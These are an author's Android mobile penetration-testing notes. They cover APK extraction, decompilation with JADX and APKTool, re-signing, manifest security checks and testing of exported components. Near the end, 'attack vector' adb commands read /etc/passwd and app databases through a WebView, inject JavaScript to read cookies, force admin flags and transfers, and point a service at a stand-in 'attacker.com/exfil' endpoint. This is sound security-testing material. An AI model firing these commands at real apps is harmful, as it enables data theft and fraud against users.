Skip to main content

Mobile VAPT Notes (Android Statis Analysis)

6305 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Mobile VAPT Notes (Android)
#


Static Analysis - APK Acquisition & Decompilation
#

APK Acquisition - Modern Methods
#

Method 1: Pull from Device (Most Reliable)
#

# List all installed packages:
adb shell pm list packages

# Filter by keyword:
adb shell pm list packages | grep -i <keyword>
adb shell pm list packages | grep -i facebook

# List only third-party apps:
adb shell pm list packages -3

# List with full details:
adb shell pm list packages -f
# Output format: package:/data/app/~~hash/com.example.app-hash/base.apk=com.example.app

# Get specific package path:
adb shell pm path com.example.app
# Output: package:/data/app/~~Abc123/com.example.app-xyz/base.apk

# Pull single APK:
adb pull /data/app/~~Abc123/com.example.app-xyz/base.apk ./app.apk

# For split APKs (Android App Bundles - common in 2025):
adb shell pm path com.example.app
# Output may show multiple files:
# package:/data/app/.../base.apk
# package:/data/app/.../split_config.arm64_v8a.apk
# package:/data/app/.../split_config.en.apk
# package:/data/app/.../split_config.xxhdpi.apk

# Pull all APK components:
PACKAGE="com.example.app"
APK_PATH=$(adb shell pm path $PACKAGE | head -1 | cut -d: -f2)
BASE_DIR=$(dirname $APK_PATH)

# Create output directory:
mkdir -p apks/$PACKAGE

# Pull all APK files:
adb shell ls $BASE_DIR/*.apk | tr -d '\r' | while read apk; do
    adb pull $apk apks/$PACKAGE/
done

# Alternative: Use shell script to pull all splits:
adb shell pm path $PACKAGE | cut -d: -f2 | while read APK; do
    adb pull $APK
done

# Verify APK integrity:
adb shell pm dump $PACKAGE | grep -A 3 "versionCode"

Method 2: APK Extractor Apps
#

# Use APK Extractor apps from device:
# Popular options in 2025:
# - APK Extractor (com.ext.ui)
# - ML Manager (com.javiersantos.mlmanager)
# - App Manager (io.github.muntashirakon.AppManager)

# Install APK Extractor:
adb install APKExtractor.apk

# Launch and extract target app to /sdcard/ExtractedAPKs/
# Then pull:
adb pull /sdcard/ExtractedAPKs/app_name.apk

# Using App Manager (more features):
# Provides backup, split APK handling, and export

Method 3: Google Play Store Download (Testing/Research)
#

# Modern alternatives for APK download:

# Option A: gplaycli (updated for 2025)
pip3 install gplaycli

# Configure (first time):
gplaycli --config

# Download APK:
gplaycli -d com.example.app

# Download with splits:
gplaycli -d com.example.app --split-apk

# Download specific version:
gplaycli -d com.example.app -v 12345

# Option B: googleplay-api (Python library)
pip3 install googleplay-api

# Python script to download:
cat > download_apk.py << 'EOF'
from googleplay import GooglePlay
import sys

if len(sys.argv) < 2:
    print("Usage: python download_apk.py <package_name>")
    sys.exit(1)

package = sys.argv[1]
gp = GooglePlay()
gp.login("<EMAIL>", "<PASSWORD>")
apk = gp.download(package)
with open(f"{package}.apk", "wb") as f:
    f.write(apk)
print(f"Downloaded {package}.apk")
EOF

python3 download_apk.py com.example.app

# Option C: apkeep (Rust-based tool, fast)
cargo install apkeep
apkeep -a com.example.app .

# Option D: APKCombo (web-based, manual)
# Visit: https://apkcombo.com/
# Search app and download

# OPSEC: Verify APK authenticity
# Check signature:
apksigner verify --print-certs app.apk
# Compare with known good signature hash

Method 4: Backup and Extract
#

# Create app backup (includes data):
adb backup -f backup.ab -apk com.example.app

# Extract APK from backup:
# Install abe (Android Backup Extractor):
git clone https://github.com/nelenkov/android-backup-extractor.git
cd android-backup-extractor
./gradlew build

# Extract backup:
java -jar build/libs/abe.jar unpack backup.ab backup.tar
tar -xvf backup.tar

# APK located in: apps/com.example.app/

# Modern alternative - use ab (Android Backup):
pip3 install android-backup
android-backup extract backup.ab extracted/

# OPSEC: Backup method preserves app data for analysis

Method 5: ADB Install with Capture
#

# Install app and capture during installation:
adb install-multiple -r -g *.apk

# Or use Package Manager sessions:
adb shell pm install-create
# Note session ID from output: [SESSION_ID]
adb shell pm install-write [SESSION_ID] base -
adb shell pm install-commit [SESSION_ID]

Decompilation Tools
#

JADX
#

# Download latest JADX (2025 version):
# https://github.com/skylot/jadx/releases
wget https://github.com/skylot/jadx/releases/download/v1.5.0/jadx-1.5.0.zip
unzip jadx-1.5.0.zip -d jadx
cd jadx

# GUI mode (recommended for analysis):
./bin/jadx-gui app.apk

# Command line decompilation:
./bin/jadx -d output_folder app.apk

# Advanced options for better decompilation:
./bin/jadx \
    --deobf \                    # Deobfuscate code
    --deobf-min 3 \              # Minimum length for deobfuscated names
    --deobf-max 64 \             # Maximum length
    --show-bad-code \            # Show problematic code
    --escape-unicode \           # Escape unicode characters
    --respect-bytecode-access-modifiers \  # Respect access modifiers
    --no-inline-anonymous \      # Don't inline anonymous classes
    --no-replace-consts \        # Keep constant values
    -d output_folder \
    app.apk

# For split APKs:
./bin/jadx -d output_folder *.apk

# Export as Gradle project:
./bin/jadx --export-gradle -d gradle_project app.apk

# Generate sources as single file:
./bin/jadx --single-class -d single_file.java --single-class-name com.example.MainActivity app.apk

# Performance optimization for large APKs:
./bin/jadx -j 8 -d output_folder app.apk  # Use 8 threads

# JADX plugins (2025 features):
# - Script execution for automated analysis
# - Custom renaming schemes
# - Kotlin support improvements

# Search in decompiled code:
grep -r "password" output_folder/
grep -r -i "api.key" output_folder/ | head -20

APKTool (Smali Analysis & Recompilation)
#

# Install APKTool (latest):
# Method 1: Package manager
brew install apktool           # macOS
sudo apt install apktool       # Ubuntu/Debian

# Method 2: Manual installation
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar
mv apktool_2.9.3.jar apktool.jar
chmod +x apktool apktool.jar
sudo mv apktool apktool.jar /usr/local/bin/

# Verify installation:
apktool --version

# Decompile APK:
apktool d app.apk -o app_decompiled

# Advanced decompilation options:
apktool d app.apk \
    -o app_decompiled \
    -f \                        # Force overwrite
    --no-src \                  # Don't decompile sources (faster)
    --no-res \                  # Don't decompile resources
    --only-main-classes \       # Skip library classes
    -r \                        # Don't decode resources
    -s                          # Don't decode sources

# Keep broken resources:
apktool d --keep-broken-res app.apk -o app_decompiled

# For split APKs, decompile separately:
for apk in *.apk; do
    apktool d "$apk" -o "decompiled_$(basename $apk .apk)"
done

# Recompile after modifications:
apktool b app_decompiled -o app_modified.apk

# Build with AAPT2 (modern):
apktool b app_decompiled -o app_modified.apk --use-aapt2

# Debug build:
apktool b app_decompiled -o app_modified.apk -d

# Clean build:
apktool empty-framework-dir --force
apktool b -f app_decompiled -o app_modified.apk

# OPSEC: APKTool ideal for patching and runtime modification

dex2jar + JD-GUI (Alternative Workflow)
#

# Download dex2jar:
wget https://github.com/pxb1988/dex2jar/releases/download/v2.4/dex-tools-v2.4.zip
unzip dex-tools-v2.4.zip
cd dex-tools-v2.4

# Convert APK to JAR:
./d2j-dex2jar.sh app.apk
# Output: app-dex2jar.jar

# Handle errors with force mode:
./d2j-dex2jar.sh app.apk --force

# For split APKs:
for apk in *.apk; do
    ./d2j-dex2jar.sh "$apk"
done

# Download JD-GUI:
wget https://github.com/java-decompiler/jd-gui/releases/download/v1.6.6/jd-gui-1.6.6.jar

# Open JAR with JD-GUI:
java -jar jd-gui-1.6.6.jar app-dex2jar.jar

# Command line decompilation with jd-cli:
git clone https://github.com/intoolswetrust/jd-cli.git
cd jd-cli
mvn clean install
java -jar target/jd-cli.jar app-dex2jar.jar -od output/

# OPSEC: dex2jar good for obfuscated apps where JADX fails

Bytecode Viewer
#

# Download Bytecode Viewer:
wget https://github.com/Konloch/bytecode-viewer/releases/download/v2.12/Bytecode-Viewer-2.12.jar

# Launch GUI:
java -jar Bytecode-Viewer-2.12.jar

# Features in 2025:
# - Multiple decompilers (JADX, Procyon, CFR, FernFlower)
# - APK/DEX/JAR/Class file support
# - Built-in hex editor
# - Plugin system
# - Search across all decompilers

# Command line usage:
java -jar Bytecode-Viewer-2.12.jar -i app.apk -o output/ -decompiler JADX

# OPSEC: Compare decompilers for best results on obfuscated code

CFR (Modern Java Decompiler)
#

# Download CFR:
wget https://github.com/leibnitz27/cfr/releases/download/0.152/cfr-0.152.jar

# Decompile JAR (from dex2jar):
java -jar cfr-0.152.jar app-dex2jar.jar --outputdir output/

# Advanced options:
java -jar cfr-0.152.jar app-dex2jar.jar \
    --outputdir output/ \
    --caseinsensitivefs true \
    --silent true \
    --recover true \            # Recover from errors
    --eclipse false \           # Don't use Eclipse style
    --override true             # Overwrite existing files

# OPSEC: CFR excellent for modern Java/Kotlin features

Ghidra (Native Library Analysis)
#

# Download Ghidra (NSA tool, actively maintained):
# https://ghidra-sre.org/
# Current version: 11.2

# Extract native libraries from APK:
unzip app.apk -d app_extracted
ls app_extracted/lib/

# Common architectures:
# arm64-v8a/    - 64-bit ARM (most modern devices)
# armeabi-v7a/  - 32-bit ARM
# x86_64/       - 64-bit x86 (emulators)
# x86/          - 32-bit x86

# Analyze with Ghidra:
# 1. Create new project
# 2. Import native library (.so file)
# 3. Analyze with default analyzers
# 4. Review imports, exports, strings

# Headless analysis:
analyzeHeadless /path/to/project ProjectName \
    -import app_extracted/lib/arm64-v8a/libnative.so \
    -postScript DecompileAll.java

# OPSEC: Native libraries often contain crypto/security implementations

Radare2/Rizin (Command-Line RE)
#

# Install radare2:
git clone https://github.com/radareorg/radare2
cd radare2
sys/install.sh

# Or use package manager:
sudo apt install radare2

# Analyze APK:
r2 app.apk

# Inside r2:
aaa                 # Analyze all
afl                 # List functions
pdf @main           # Disassemble main
/ password          # Search for string
iz                  # List strings
ii                  # List imports
ie                  # List exports

# Extract DEX:
r2 -e bin.classes=0 app.apk
# Extract specific class:
r2 -c 'e bin.classes=0; afx' app.apk

# Scripting with r2:
r2 -q -c 'aaa; afl' app.apk > functions.txt

# OPSEC: Radare2 powerful for scriptable binary analysis

Signing Recompiled APKs
#

Method 1: uber-apk-signer
#

# Download uber-apk-signer:
wget https://github.com/patrickfav/uber-apk-signer/releases/download/v1.3.0/uber-apk-signer-1.3.0.jar

# Sign APK (auto-handles alignment and V1/V2/V3/V4 signing):
java -jar uber-apk-signer-1.3.0.jar --apks app_modified.apk

# Output: app_modified-aligned-debugSigned.apk

# Sign with custom keystore:
java -jar uber-apk-signer-1.3.0.jar \
    --apks app_modified.apk \
    --ks my-keystore.jks \
    --ksAlias my-alias \
    --ksPass mypassword \
    --ksKeyPass mykeypassword

# Sign multiple APKs:
java -jar uber-apk-signer-1.3.0.jar --apks *.apk

# Advanced options:
java -jar uber-apk-signer-1.3.0.jar \
    --apks app_modified.apk \
    --allowResign \             # Resign already signed APKs
    --overwrite \               # Overwrite existing files
    --skipZipCrcCheck \         # Skip CRC check
    -o output/                  # Output directory

# Verify signature:
java -jar uber-apk-signer-1.3.0.jar --verify app_modified-aligned-debugSigned.apk

Method 2: apksigner
#

# apksigner included in Android SDK build-tools
# Usually located: $ANDROID_HOME/build-tools/<version>/apksigner

# Find apksigner:
find $ANDROID_HOME -name apksigner

# Or use from SDK directly:
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0

# Step 1: Align APK (required for optimal performance):
zipalign -v -p 4 app_modified.apk app_aligned.apk

# Step 2: Sign APK with V1 + V2 + V3 + V4:
apksigner sign \
    --ks my-release-key.jks \
    --ks-key-alias my-alias \
    --ks-pass pass:mypassword \
    --key-pass pass:mykeypassword \
    --v1-signing-enabled true \
    --v2-signing-enabled true \
    --v3-signing-enabled true \
    --v4-signing-enabled true \
    --out app_signed.apk \
    app_aligned.apk

# Sign with debug keystore (testing):
apksigner sign \
    --ks ~/.android/debug.keystore \
    --ks-key-alias androiddebugkey \
    --ks-pass pass:android \
    --key-pass pass:android \
    --out app_signed.apk \
    app_aligned.apk

# Verify signature:
apksigner verify -v app_signed.apk

# Check signature schemes:
apksigner verify --print-certs app_signed.apk

# OPSEC: Use debug keystore for testing, production keystore for release

Method 3: Manual Signing
#

# Create release keystore (one-time):
keytool -genkey -v \
    -keystore my-release-key.jks \
    -keyalg RSA \
    -keysize 4096 \
    -validity 10000 \
    -alias my-key-alias \
    -storepass mypassword \
    -keypass mykeypassword \
    -dname "CN=Test, OU=Test, O=Test, L=Test, S=Test, C=US"

# Align APK:
zipalign -v 4 app_modified.apk app_aligned.apk

# Sign with jarsigner (V1 only - legacy):
jarsigner -verbose \
    -sigalg SHA256withRSA \
    -digestalg SHA-256 \
    -keystore my-release-key.jks \
    -storepass mypassword \
    -keypass mykeypassword \
    app_aligned.apk \
    my-key-alias

# Verify:
jarsigner -verify -verbose -certs app_aligned.apk

# IMPORTANT: V1-only signing deprecated, use apksigner for modern apps

Method 4: Automated Signing Script
#

#!/bin/bash
# sign-apk.sh - Automated APK signing

APK="$1"
KEYSTORE="${2:-~/.android/debug.keystore}"
ALIAS="${3:-androiddebugkey}"
STOREPASS="${4:-android}"
KEYPASS="${5:-android}"

if [ -z "$APK" ]; then
    echo "Usage: $0 <apk_file> [keystore] [alias] [storepass] [keypass]"
    exit 1
fi

BASENAME=$(basename "$APK" .apk)
ALIGNED="${BASENAME}-aligned.apk"
SIGNED="${BASENAME}-signed.apk"

echo "[*] Aligning APK..."
zipalign -v -p 4 "$APK" "$ALIGNED"

echo "[*] Signing APK..."
apksigner sign \
    --ks "$KEYSTORE" \
    --ks-key-alias "$ALIAS" \
    --ks-pass pass:"$STOREPASS" \
    --key-pass pass:"$KEYPASS" \
    --out "$SIGNED" \
    "$ALIGNED"

echo "[*] Verifying signature..."
apksigner verify -v "$SIGNED"

if [ $? -eq 0 ]; then
    echo "[+] APK signed successfully: $SIGNED"
    rm "$ALIGNED"  # Cleanup
else
    echo "[!] Signature verification failed"
    exit 1
fi
# Make executable and use:
chmod +x sign-apk.sh
./sign-apk.sh app_modified.apk

Signature Analysis:
#

# Extract certificate from APK:
unzip -p app.apk META-INF/*.RSA | keytool -printcert

# Compare signatures of two APKs:
diff <(apksigner verify --print-certs app1.apk) \
     <(apksigner verify --print-certs app2.apk)

# Get signature hash (for pinning):
keytool -list -v -keystore my-release-key.jks -alias my-key-alias | grep SHA256

# Extract public key:
keytool -exportcert -alias my-key-alias \
    -keystore my-release-key.jks \
    -rfc -file certificate.pem

# OPSEC: Check if app validates signature at runtime
grep -r "PackageManager.GET_SIGNATURES" app_decompiled/
grep -r "getPackageInfo" app_decompiled/

AndroidManifest.xml Analysis & Component Testing
#

Extract and Analyze Manifest
#

Extract Manifest from APK:
#

# Method 1: Using aapt (Android Asset Packaging Tool)
aapt dump xmltree app.apk AndroidManifest.xml

# Method 2: Using aapt2 (modern, Android SDK 26+)
aapt2 dump xmltree app.apk --file AndroidManifest.xml

# Method 3: Using APKTool (most readable)
apktool d app.apk -o app_decompiled
cat app_decompiled/AndroidManifest.xml

# Method 4: Using apkanalyzer (Android Studio tool)
apkanalyzer manifest print app.apk

# Method 5: Using androguard (Python)
pip3 install androguard
androguard axml app.apk > AndroidManifest.xml

# Extract with formatting:
aapt2 dump xmltree app.apk --file AndroidManifest.xml | less

# Extract to file:
apkanalyzer manifest print app.apk > AndroidManifest.xml

# Quick overview:
aapt dump badging app.apk | head -30

Extract Specific Manifest Information:
#

# Package information:
aapt dump badging app.apk | grep -E "package|sdkVersion|targetSdkVersion"
# Output: package: name='com.example.app' versionCode='123' versionName='1.2.3'
#         sdkVersion:'21' targetSdkVersion:'34'

# Permissions:
aapt dump permissions app.apk

# All permissions with details:
aapt dump badging app.apk | grep uses-permission

# Activities:
aapt dump badging app.apk | grep launchable-activity

# All components:
aapt dump badging app.apk | grep -E "activity|service|receiver|provider"

# Application flags:
aapt dump badging app.apk | grep application:

# Deep links and URL schemes:
aapt dump xmltree app.apk --file AndroidManifest.xml | grep -A 5 "android:scheme"

# Network security config:
aapt dump xmltree app.apk --file AndroidManifest.xml | grep networkSecurityConfig

# OPSEC: Automate manifest extraction for bulk analysis
for apk in *.apk; do
    echo "=== $apk ===" >> manifest_analysis.txt
    aapt dump badging "$apk" >> manifest_analysis.txt
    echo "" >> manifest_analysis.txt
done

Critical Security Analysis Points
#

1. Dangerous Application Settings:
#

# Check for debuggable flag (CRITICAL vulnerability):
aapt dump badging app.apk | grep "application-debuggable"
# Or from decompiled manifest:
grep -n "android:debuggable" app_decompiled/AndroidManifest.xml

# Expected in production: No output or "android:debuggable='false'"
# CRITICAL if: "android:debuggable='true'"

# Check for backup enabled (HIGH risk for data exposure):
aapt dump xmltree app.apk --file AndroidManifest.xml | grep -A 2 "allowBackup"
# Or:
grep -n "android:allowBackup" app_decompiled/AndroidManifest.xml

# RISK: android:allowBackup="true" allows adb backup of app data
# Secure: android:allowBackup="false" or use fullBackupContent

# Check for cleartext traffic (MEDIUM risk):
grep -n "android:usesCleartextTraffic" app_decompiled/AndroidManifest.xml

# Modern apps (targetSdk 28+) should have this false
# If true, app allows HTTP connections

# Check Network Security Config:
grep -n "android:networkSecurityConfig" app_decompiled/AndroidManifest.xml
# Example: android:networkSecurityConfig="@xml/network_security_config"

# Analyze network security config:
cat app_decompiled/res/xml/network_security_config.xml

# RISK INDICATORS:
# - <certificates src="user" /> (trusts user certificates)
# - cleartextTrafficPermitted="true" (allows HTTP)
# - Missing certificate pinning

# Check for exported app components:
grep -n "android:exported" app_decompiled/AndroidManifest.xml | grep "true"

# Android 12+ (API 31+) requires explicit exported declaration
# Check if sensitive components are exported

# Check for custom permissions:
grep -n "android:protectionLevel" app_decompiled/AndroidManifest.xml
# RISK: signature|privileged, dangerous, normal

# Check for shared user ID (legacy, security risk):
grep -n "android:sharedUserId" app_decompiled/AndroidManifest.xml
# RISK: Shared UID allows data access between apps

# Comprehensive security check script:
cat > check_manifest_security.sh << 'EOF'
#!/bin/bash
APK="$1"
echo "=== Manifest Security Analysis for $APK ==="

echo -e "\n[*] Checking debuggable flag..."
if aapt dump badging "$APK" | grep -q "application-debuggable"; then
    echo "[!] CRITICAL: App is debuggable"
else
    echo "[+] OK: App is not debuggable"
fi

echo -e "\n[*] Checking backup settings..."
apktool d -f "$APK" -o temp_apk_analysis > /dev/null 2>&1
if grep -q 'android:allowBackup="true"' temp_apk_analysis/AndroidManifest.xml; then
    echo "[!] HIGH: Backup is enabled"
else
    echo "[+] OK: Backup is disabled"
fi

echo -e "\n[*] Checking cleartext traffic..."
if grep -q 'android:usesCleartextTraffic="true"' temp_apk_analysis/AndroidManifest.xml; then
    echo "[!] MEDIUM: Cleartext traffic allowed"
else
    echo "[+] OK: Cleartext traffic not explicitly allowed"
fi

echo -e "\n[*] Checking exported components..."
EXPORTED_COUNT=$(grep -c 'android:exported="true"' temp_apk_analysis/AndroidManifest.xml)
echo "[*] Found $EXPORTED_COUNT exported components"
grep -B 5 'android:exported="true"' temp_apk_analysis/AndroidManifest.xml | grep -E "activity|service|receiver|provider"

rm -rf temp_apk_analysis
echo -e "\n=== Analysis Complete ==="
EOF

chmod +x check_manifest_security.sh
./check_manifest_security.sh app.apk

2. Exported Components Analysis:
#

# Find all exported components:
grep -B 3 'android:exported="true"' app_decompiled/AndroidManifest.xml

# Find components with intent-filters (implicitly exported on Android <12):
grep -B 5 -A 10 '<intent-filter>' app_decompiled/AndroidManifest.xml

# On Android 12+ (API 31+), components with intent-filters MUST explicitly declare exported
# Check for missing exported declarations:
grep -B 5 '<intent-filter>' app_decompiled/AndroidManifest.xml | grep -v "android:exported"

# Extract exported activities:
grep -E '<activity' app_decompiled/AndroidManifest.xml | grep -B 1 'exported="true"'

# Extract exported services:
grep -E '<service' app_decompiled/AndroidManifest.xml | grep -B 1 'exported="true"'

# Extract exported receivers:
grep -E '<receiver' app_decompiled/AndroidManifest.xml | grep -B 1 'exported="true"'

# Extract exported providers:
grep -E '<provider' app_decompiled/AndroidManifest.xml | grep -B 1 'exported="true"'

# Parse component names with Python:
cat > extract_components.py << 'EOF'
import sys
import xml.etree.ElementTree as ET

def extract_components(manifest_path):
    tree = ET.parse(manifest_path)
    root = tree.getroot()
    ns = {'android': 'http://schemas.android.com/apk/res/android'}
    
    components = {
        'activities': [],
        'services': [],
        'receivers': [],
        'providers': []
    }
    
    app = root.find('application')
    
    # Find exported activities
    for activity in app.findall('activity'):
        exported = activity.get('{http://schemas.android.com/apk/res/android}exported')
        name = activity.get('{http://schemas.android.com/apk/res/android}name')
        if exported == 'true':
            components['activities'].append(name)
    
    # Find exported services
    for service in app.findall('service'):
        exported = service.get('{http://schemas.android.com/apk/res/android}exported')
        name = service.get('{http://schemas.android.com/apk/res/android}name')
        if exported == 'true':
            components['services'].append(name)
    
    # Find exported receivers
    for receiver in app.findall('receiver'):
        exported = receiver.get('{http://schemas.android.com/apk/res/android}exported')
        name = receiver.get('{http://schemas.android.com/apk/res/android}name')
        if exported == 'true':
            components['receivers'].append(name)
    
    # Find exported providers
    for provider in app.findall('provider'):
        exported = provider.get('{http://schemas.android.com/apk/res/android}exported')
        name = provider.get('{http://schemas.android.com/apk/res/android}name')
        if exported == 'true':
            components['providers'].append(name)
    
    return components

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: python extract_components.py AndroidManifest.xml")
        sys.exit(1)
    
    components = extract_components(sys.argv[1])
    
    print("\n=== Exported Components ===")
    for comp_type, comp_list in components.items():
        print(f"\n{comp_type.upper()}:")
        for comp in comp_list:
            print(f"  - {comp}")
EOF

python3 extract_components.py app_decompiled/AndroidManifest.xml

3. Permissions Analysis:
#

# List all permissions:
aapt dump permissions app.apk

# Dangerous permissions (runtime permissions on Android 6+):
DANGEROUS_PERMS=(
    "READ_CALENDAR" "WRITE_CALENDAR"
    "CAMERA"
    "READ_CONTACTS" "WRITE_CONTACTS" "GET_ACCOUNTS"
    "ACCESS_FINE_LOCATION" "ACCESS_COARSE_LOCATION" "ACCESS_BACKGROUND_LOCATION"
    "RECORD_AUDIO"
    "READ_PHONE_STATE" "READ_PHONE_NUMBERS" "CALL_PHONE"
    "READ_CALL_LOG" "WRITE_CALL_LOG" "ADD_VOICEMAIL"
    "USE_SIP" "PROCESS_OUTGOING_CALLS" "ANSWER_PHONE_CALLS"
    "BODY_SENSORS" "BODY_SENSORS_BACKGROUND"
    "SEND_SMS" "RECEIVE_SMS" "READ_SMS" "RECEIVE_WAP_PUSH" "RECEIVE_MMS"
    "READ_EXTERNAL_STORAGE" "WRITE_EXTERNAL_STORAGE"
    "ACCESS_MEDIA_LOCATION" "READ_MEDIA_IMAGES" "READ_MEDIA_VIDEO" "READ_MEDIA_AUDIO"
    "BLUETOOTH_SCAN" "BLUETOOTH_ADVERTISE" "BLUETOOTH_CONNECT"
    "NEARBY_WIFI_DEVICES" "POST_NOTIFICATIONS"
)

# Check for dangerous permissions:
echo "=== Dangerous Permissions Found ==="
for perm in "${DANGEROUS_PERMS[@]}"; do
    if grep -q "android.permission.$perm" app_decompiled/AndroidManifest.xml; then
        echo "[!] $perm"
    fi
done

# Check for specific high-risk permissions:
grep -E "READ_EXTERNAL_STORAGE|WRITE_EXTERNAL_STORAGE|MANAGE_EXTERNAL_STORAGE" \
    app_decompiled/AndroidManifest.xml

# Android 11+ storage permissions:
grep "MANAGE_EXTERNAL_STORAGE" app_decompiled/AndroidManifest.xml
# RISK: Full filesystem access

# Check for SMS permissions:
grep -E "SEND_SMS|READ_SMS|RECEIVE_SMS" app_decompiled/AndroidManifest.xml

# Check for location permissions:
grep -E "ACCESS_FINE_LOCATION|ACCESS_COARSE_LOCATION|ACCESS_BACKGROUND_LOCATION" \
    app_decompiled/AndroidManifest.xml

# Check for custom permissions:
grep '<permission android:name' app_decompiled/AndroidManifest.xml

# Analyze custom permission protection levels:
grep -A 3 '<permission android:name' app_decompiled/AndroidManifest.xml | \
    grep protectionLevel

# Permission analysis script:
cat > analyze_permissions.py << 'EOF'
import sys
import xml.etree.ElementTree as ET

def analyze_permissions(manifest_path):
    tree = ET.parse(manifest_path)
    root = tree.getroot()
    
    used_perms = []
    defined_perms = []
    
    # Find used permissions
    for perm in root.findall('uses-permission'):
        name = perm.get('{http://schemas.android.com/apk/res/android}name')
        if name:
            used_perms.append(name)
    
    # Find defined permissions
    for perm in root.findall('permission'):
        name = perm.get('{http://schemas.android.com/apk/res/android}name')
        protection = perm.get('{http://schemas.android.com/apk/res/android}protectionLevel', 'normal')
        if name:
            defined_perms.append((name, protection))
    
    return used_perms, defined_perms

if __name__ == '__main__':
    used, defined = analyze_permissions(sys.argv[1])
    
    print("\n=== Used Permissions ===")
    for perm in used:
        print(f"  - {perm}")
    
    print("\n=== Defined Permissions ===")
    for name, level in defined:
        print(f"  - {name} (Protection: {level})")
EOF

python3 analyze_permissions.py app_decompiled/AndroidManifest.xml

4. URL Schemes and Deep Links:#

# Find all deep link schemes:
grep -A 10 -B 5 'android:scheme' app_decompiled/AndroidManifest.xml

# Extract scheme values:
grep 'android:scheme' app_decompiled/AndroidManifest.xml | \
    sed 's/.*android:scheme="\([^"]*\)".*/\1/' | sort -u

# Find App Links (Android 6+):
grep -A 10 'android:autoVerify="true"' app_decompiled/AndroidManifest.xml

# Extract all data elements for deep links:
grep -B 2 -A 5 '<data' app_decompiled/AndroidManifest.xml

# Comprehensive deep link extraction:
cat > extract_deeplinks.py << 'EOF'
import sys
import xml.etree.ElementTree as ET

def extract_deeplinks(manifest_path):
    tree = ET.parse(manifest_path)
    root = tree.getroot()
    ns = {'android': 'http://schemas.android.com/apk/res/android'}
    
    deeplinks = []
    app = root.find('application')
    
    for activity in app.findall('.//activity'):
        activity_name = activity.get('{http://schemas.android.com/apk/res/android}name')
        
        for intent_filter in activity.findall('intent-filter'):
            # Check if it's a VIEW intent (deep link)
            actions = [a.get('{http://schemas.android.com/apk/res/android}name') 
                      for a in intent_filter.findall('action')]
            
            if 'android.intent.action.VIEW' in actions:
                for data in intent_filter.findall('data'):
                    scheme = data.get('{http://schemas.android.com/apk/res/android}scheme')
                    host = data.get('{http://schemas.android.com/apk/res/android}host')
                    path = data.get('{http://schemas.android.com/apk/res/android}path', '')
                    pathPrefix = data.get('{http://schemas.android.com/apk/res/android}pathPrefix', '')
                    pathPattern = data.get('{http://schemas.android.com/apk/res/android}pathPattern', '')
                    
                    if scheme:
                        deeplink = {
                            'activity': activity_name,
                            'scheme': scheme,
                            'host': host or '*',
                            'path': path or pathPrefix or pathPattern or '/*'
                        }
                        deeplinks.append(deeplink)
    
    return deeplinks

if __name__ == '__main__':
    deeplinks = extract_deeplinks(sys.argv[1])
    
    print("\n=== Deep Links Found ===")
    for dl in deeplinks:
        url = f"{dl['scheme']}://{dl['host']}{dl['path']}"
        print(f"\n  URL: {url}")
        print(f"  Activity: {dl['activity']}")
EOF

python3 extract_deeplinks.py app_decompiled/AndroidManifest.xml

Testing Exported Components
#

Testing Exported Activities:
#

# Get package name:
PACKAGE=$(aapt dump badging app.apk | grep package: | sed "s/.*name='\([^']*\)'.*/\1/")

# List exported activities:
grep -B 3 'android:exported="true"' app_decompiled/AndroidManifest.xml | \
    grep '<activity' | sed 's/.*android:name="\([^"]*\)".*/\1/'

# Basic activity launch:
adb shell am start -n $PACKAGE/.MainActivity
adb shell am start -n $PACKAGE/.SecretActivity

# Launch with extras (string):
adb shell am start -n $PACKAGE/.WebViewActivity --es "url" "https://example.com"

# Launch with extras (integer):
adb shell am start -n $PACKAGE/.ProfileActivity --ei "user_id" 123

# Launch with extras (boolean):
adb shell am start -n $PACKAGE/.SettingsActivity --ez "debug_mode" true

# Launch with extras (long):
adb shell am start -n $PACKAGE/.DataActivity --el "timestamp" 1704067200000

# Launch with multiple extras:
adb shell am start -n $PACKAGE/.PaymentActivity \
    --es "merchant" "Store123" \
    --ei "amount" 1000 \
    --es "currency" "USD"

# Launch with URI data:
adb shell am start -n $PACKAGE/.BrowserActivity -d "https://evil.com"

# ATTACK VECTORS:
# 1. Path traversal in file loading:
adb shell am start -n $PACKAGE/.WebViewActivity --es "url" "file:///etc/passwd"
adb shell am start -n $PACKAGE/.WebViewActivity --es "url" "file:///data/data/$PACKAGE/databases/"

# 2. JavaScript injection in WebView:
adb shell am start -n $PACKAGE/.WebViewActivity --es "url" "javascript:alert(document.cookie)"

# 3. Privilege escalation:
adb shell am start -n $PACKAGE/.AdminActivity --ez "is_admin" true

# 4. Data manipulation:
adb shell am start -n $PACKAGE/.TransferActivity \
    --es "from_account" "victim123" \
    --es "to_account" "attacker456" \
    --ei "amount" 999999

# Monitor activity launches:
adb shell am monitor
# Or watch logcat:
adb logcat | grep "START.*$PACKAGE"

# OPSEC: Test systematically
cat > test_activities.sh << 'EOF'
#!/bin/bash
PACKAGE="$1"
MANIFEST="$2"

echo "[*] Testing exported activities for $PACKAGE"

# Extract activity names
ACTIVITIES=$(grep -B 3 'android:exported="true"' "$MANIFEST" | \
             grep '<activity' | sed 's/.*android:name="\([^"]*\)".*/\1/')

for activity in $ACTIVITIES; do
    echo "[*] Testing: $activity"
    
    # Basic launch
    adb shell am start -n "$PACKAGE/$activity" 2>&1 | grep -E "Error|Exception|Success"
    
    # Test with common payloads
    adb shell am start -n "$PACKAGE/$activity" --es "url" "file:///etc/passwd" 2>&1 | \
        grep -E "Error|Exception"
    
    sleep 1
done
EOF

chmod +x test_activities.sh
./test_activities.sh com.example.app app_decompiled/AndroidManifest.xml

Testing Exported Services:
#

# Start exported service:
adb shell am startservice -n $PACKAGE/.BackupService

# Start service with extras:
adb shell am startservice -n $PACKAGE/.DataSyncService --es "sync_type" "full"

# Start foreground service (Android 8+):
adb shell am start-foreground-service -n $PACKAGE/.UploadService

# Stop service:
adb shell am stopservice -n $PACKAGE/.BackupService

# ATTACK VECTORS:
# 1. Trigger unauthorized operations:
adb shell am startservice -n $PACKAGE/.AdminService --es "command" "grant_admin"

# 2. Data exfiltration:
adb shell am startservice -n $PACKAGE/.ExportService \
    --es "destination" "http://attacker.com/exfil" \
    --es "data_type" "all"

# 3. Resource exhaustion:
for i in {1..100}; do
    adb shell am startservice -n $PACKAGE/.HeavyService &
done

